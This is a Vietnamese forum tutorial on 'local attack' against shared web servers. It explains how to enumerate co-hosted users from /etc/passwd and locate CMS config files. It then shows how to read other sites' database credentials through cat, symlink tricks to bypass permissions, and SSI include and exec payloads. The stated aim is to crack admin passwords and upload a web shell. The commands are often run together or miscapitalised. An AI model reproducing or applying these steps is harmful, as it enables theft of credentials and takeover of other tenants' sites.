[ Local Attack ] Hướng dẫn các bước Local Attack
1- View danh sách các user trong server
2- Tìm file config.php
3- Get thông tin login vào database
4- Crack hoặc change pass admin
5- Login vào quyên quản trị và upshell
1- View danh sách các user trên server
Muốn local được 1 site nào đó trên server thì trướ tiên cần phải xác định site đó có user là gì, source code là gì từ đó tìm cách đọc file config.php của user đó
- Một số câu lệnh để get user:
Lệnh phổ biến nhất:
Mã:
Cat /etc/passwdMã:
Less /etc/passwd
./cat/etc/passwd
More /etc/passwdPHP Code:
Cat /etc/virtual/domainowners Đối với các mã nguồn mở thì path file config được mặc định như sau:
Lưu ý: “path” chính là path từ server dẫn tới site, ví dụ đối với server linux, path là: /home/user/public_html
PHP Code:
Vbulletin: path/includes/config.php Mybb: path/inc/config.php Joomla: path/configuration.php Word-Press: path/wp-config.php Ibp: path/conf_global.php Php-fusion: path/config.php Smf: Path/Settings.php Nuke: path/config.php Xoops: path/mainfile.php Datalife Engine: path/engine/data/config.php Phpbb: Path/config.php editio: path/datas/config.php Drupal: path/sites/default/settings.php
- Discuz
path/config/config_ucenter.php
- Bo-Blog
path/data/config.php - Đối với các quản trị viên chú ý đến tính năng bảo mật, phòng tránh local attack thì họ thường dấu kỹ và thay đổi path dẫn đến file config, trong trường hợp này cần phải dò path bắt đầu từ file index đi vào. Soleil sẽ lấy ví dụ dò path file config đối với vbulletin chẳng hạn:
PHP Code:
Forum.php -> global.php -> includes/class_bootstrap -> includes/init.php -> includes/class_core.php -> includes/config.php 3- Get thông tin file config
Phần này chính là phần trọng tâm nhất trong bộ tut local attack. Trong phần này soleil sẽ giới thiệu đầy đủ các kỹ thuật cơ bản để local attack.
3.1- Trước hết ta cần tìm hiểu qua về các câu lệnh cơ bản trong linux ứng dụng cho local attack:
- Ls , dir : Liệt kê tên các file bên trong thư mục
ls -al, ls -lia: Liệt kê tên và thuộc tính các file bên trong thư mục
PHP Code:
Ls -lia /public_html/upload/includes.config.php HTML Code:
- Cat, ./cat, less, more, tail : View nôi dung bên trong các file:HTML Code:
Cat /public_html/upload/includes/config.phpHTML Code:
Ln -s /public_html/upload/includes/config.php dk.iniVí dụ muốn chuyển tới thư mục soleil”
Cd /public_html/upload/includes/duccuongit
cd ~ : Tới thư mục home dictionary
cd -: Quay lại thư mục vừa làm việc
cd ..: Tới thư mục kề bên ngoài thư mục đang làm việc
- Chmod: Phân quyền cho các file hoặc thư mục:
Chmod 400 config.php ( đang làm việc trong thư mục includes chứa file config.php )
- Mkdir: tạo thư mục:
Ví du muốn tạo thư mục duccuongit trong thư mục includes:
Mkdir /public_html/upload/includes/duccuongit
- Touch : Tạo file:
Mã:
touch /public_html/upload/includes/duccuongit.phpTar –zcvf duccuongit.tar.gz duccuongit ( Nén thư mục duccuongit thành file duccuongit.tar.gz)
Tar –zxvf duccuongit ( giải nén file duccuongit.tar.gz)
Zip –r -9 duccuongit.zip duccuongit ( Nén thư mục duccuongit thành file duccuongit.zip)
Zip -p duccuongit.zip ( Giải nén file duccuongit.tar.gz)
3.2- Phần tiếp theo mình sẽ trình bày 1 số kỹ thuật dùng để lấy thông tin file config.php
1- Sử dụng các lệnh cat, dir để xem tên thư mục, tệp tin và đọc nội dung tệp tin.
Ví dụ:
HTML Code:
dir /public_html/upload/includes
cat /public_html/upload/includes/config.php2- Sử dụng Symbolic link – Gọi tắt là symlink
Symbolic link là kỹ thuật cơ bản và gần như là quan trọng mà phần lớn các attaker nghĩ đến đầu tiên trước khi thực hiện công việc local attack.
Mã:
Ln -s /public_html/upload/includes/config.php duccuongit.iniCó thể thay duccuongit.ini bằng .txt nhưng do thói quen mình vẫn hay sử dụng .ini hơn bởi vì đối với 1 số server bị lỗi nó có thể bypass permissions 400.
3- Sử dụng symlink kết hợp với ssi:
Đối với 1 sô server khi symbolick link bình thường xuất hiên 403 forbinden – không cho phép đọc file đã được symlink thì giải pháp được nghĩ đến đó là kết hợp với ssi.
- Tạo 1 file duccuongit.shtml với nội dung như sau:
<!--#include virtual="duccuongit.ini"-->
Trong đó file soleil.ini là file đã được symbolic link trên server.
Bây giờ view source của file duccuongit.shtml ta sẽ thấy đc nội dung file duccuongit.ini đã symbolic link.
4- Chạy lệnh bằng file .shtml
- Tuy nhiên có 1 số server cả 2 cách đó đều không áp dụng được nhưng nó lại cho chạy lệnh bằng file .shtml
<!--#exec cmd="cat /etc/passwd"-->
- Lệnh xem file logs như sau:
<!--#exec cmd="tail -n 10000 /var/log/httpd/domains/duccuongit.com.error.log"-->
Lưu ý: + lệnh tail cũng giống như lệnh cat nhưng nó dùng để xem nhưng dòng cuối cùng của file trên server.
+ /var/log/httpd/domains/duccuongit.com.error.log là path dẫn đến file error.log của direct admin
+ Còn path dẫn đến file error.log của cpanel là: /usr/local/apache/logs/error_log ….., tùy vào bộ cài host mà path dẫn đến file error.log khác nhau.
Bình Luận Bài Viết